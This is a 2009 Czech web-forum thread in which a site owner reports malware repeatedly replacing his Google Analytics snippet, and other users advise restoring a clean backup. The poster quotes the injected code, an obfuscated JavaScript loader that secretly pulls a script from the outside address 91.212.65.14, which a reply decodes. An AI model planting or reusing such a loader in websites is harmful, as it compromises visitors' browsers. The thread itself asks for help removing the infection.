Virus v Google Analytics

11. 6. 2009 10:30:01

Zdravím,

po super eskapádách s virem JS/iFrame.C gen trojan se mi na stránkách pravidelně usídluje něco velice divného

vypadá to takto :

var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");

document.write(unescape("%3Cscript sr?='" + gaJsHost + "google-analytics.com/ga.js' " + '#@!s(&r)c@#=!)'!h$#t^!#$@t@!$p&^!@:$^/!@#!/#9(1)@.(2)1#(2)!.^&6!@!#^5(@#!.!&$1@#4)8#&/($g&$a!.(j^s)'.replace(/#|@|&|$|)|!|^|(/ig, '') + "' type='text/javascript'%3E%3C/script%3E"));

'; ?>

vždycky mi to jakoby smaže script, kterej mám z analytics a nahradí to svým, kterej zajistí to, že se na stránky prostě nikdo nepřipojí.

Už několikrát jsem měnil heslo k ftp (podotýkám, že ho nikde nemám uložené), všechny soubory webu mám nastavený na 555. Ale znova a znova odmazávám tuhle svini.

Nevíte někdo co s tím? Díky

// hostuju na ceskym hostingu - nema s timhle nekdo u nich problem tez ?

11. 6. 2009 10:30:01

0 0

Líbí se: zatím nikdo

Nelíbí se: zatím nikdo

https://webtrh.cz/diskuse/virus-v-google-analytics/#reply319171

doktor.rakev

11. 6. 2009 10:38:37

jestli mas cistou zalohu na compu smaz celej obsah ftp a nahraj tam tu zalohu. Mel jsem podobny problem s adsense, ale nezbavil sem se toho dokud sem to cele nenahral znovu

11. 6. 2009 10:38:37

0 0

Líbí se: zatím nikdo

Nelíbí se: zatím nikdo

https://webtrh.cz/diskuse/virus-v-google-analytics/#reply319170

ElCon

(2 hodnocení)

11. 6. 2009 11:08:14

Napsal doktor.rakev;302930
jestli mas cistou zalohu na compu smaz celej obsah ftp a nahraj tam tu zalohu. Mel jsem podobny problem s adsense, ale nezbavil sem se toho dokud sem to cele nenahral znovu

hmm ... tak to nevím - snad se mi tu někde něco válí. Zkusím. Ale je to divný.

11. 6. 2009 11:08:14

0 0

Líbí se: zatím nikdo

Nelíbí se: zatím nikdo

https://webtrh.cz/diskuse/virus-v-google-analytics/#reply319169

Honza

(17 hodnocení)

11. 6. 2009 11:44:01

Místo GA se načte 91.212.65.14/ga.js

11. 6. 2009 11:44:01

0 0